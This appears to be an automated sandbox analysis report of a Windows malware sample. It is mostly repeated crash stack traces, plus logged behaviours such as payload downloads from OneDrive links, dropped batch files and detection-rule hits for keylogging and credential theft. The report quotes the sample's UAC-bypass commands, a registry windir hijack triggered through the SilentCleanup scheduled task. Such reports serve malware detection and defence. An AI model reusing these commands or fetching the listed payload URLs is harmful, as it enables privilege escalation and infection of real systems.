__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x77b3ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x77b3af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632612 registers.edi: 1632700 registers.eax: 23117 registers.ebp: 1632672 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632736 registers.edi: 1632832 registers.eax: 23117 registers.ebp: 1632796 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008264192	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x77b1317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x77b2199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x77b2193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632628 registers.edi: 1632716 registers.eax: 23117 registers.ebp: 1632688 registers.edx: 0 registers.ebx: 0 registers.esi: 33751040 registers.ecx: 1632512	1
__exception__ Oct. 7, 2021, 5:34 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x77b0f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x77b0f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x77b2176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x77b3af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x77b218ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x77b2174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77b23e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75673b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7557db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x73f57322 0x20360e3 0x2034117 0x2034204 octane+0x7ad45 @ 0x47ad45 octane+0x7b402 @ 0x47b402 octane+0x7b976 @ 0x47b976 octane+0x24326 @ 0x424326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755777c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75577bca octane+0x61591 @ 0x461591 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x77b0f4ef registers.esp: 1632480 registers.edi: 1632576 registers.eax: 23117 registers.ebp: 1632540 registers.edx: 0 registers.ebx: 33751040 registers.esi: 33751040 registers.ecx: 2008160768	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (3 events)

request	GET https://onedrive.live.com/download?cid=D6CD7BA665204307&resid=D6CD7BA665204307%21109&authkey=AMdOM29o41CbOZ0
request	GET https://20mqvq.am.files.1drv.com/y4mIICgczn0jQ6zC8-aw8Xb86SRr2CmJy2ooH9966h6ZkT_AUu9dtWSt-mU9kkZ3qd5cYMw79sssxrVislI6ELzqwRjOrwQJHO8jnXz0I3kSCIVfFNj6gKFnW6vIjjDV9UQRTSdfp0NjNpEqxAnPmZIKXsSVZyMp_epb-KQRwil_gw_dAONVvND-k4n11x4W_NJ4wPdBbVgnJrgcy3vmBGBCQ/Csigvgmrhqyzxcdrdqesimyzfccnhhv?download&psid=1
request	GET https://20mqvq.am.files.1drv.com/y4mUh_YT7N5cZ_VtYj7gY-pLi8ax9qzfrx2nbGHZ7G1U61GzcbwSU8iAsSYmf4Jyh-cQD8gC5IsZXT3NdfbXn-6ClX-Ym5zGliSPzVI32b3Ew1iMIKynGYhOz3ZkIz5WXAhE2_-np3wFxBXD4vDAkYtjLc1gALD8fzAvwxJlIBUecmXh0qVBxg4N_dmmNtN--5J5Wmq0pbRBxhqaOq9fB_0Jg/Csigvgmrhqyzxcdrdqesimyzfccnhhv?download&psid=1

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Oct. 7, 2021, 5:34 p.m.	process_identifier: 896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d92000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:34 p.m.	process_identifier: 896 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00550000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 896 region_size: 495616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\Libraries\Csigvgm\Csigvgm.exe
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\nest.bat

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Oct. 7, 2021, 5:34 p.m.	process_identifier: 896 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 81920 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x02031000 process_handle: 0xffffffff	1	0	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00061c00', u'virtual_address': u'0x00091000', u'entropy': 6.859359067961286, u'name': u'.rsrc', u'virtual_size': u'0x00061b4a'}

entropy

6.85935906796

description

A section with a high entropy has been found

entropy

0.417066666667

description

Overall entropy of this PE file is high

Yara rule detected in process memory (50 out of 60 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg delete hkcu\Environment /v windir /f
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 1ae7c1f6072e0385add692781f6c8f0ea2db8f7f

Allocates execute permission to another process indicative of possible code injection (50 out of 1111 events)

Time & API	Arguments	Status
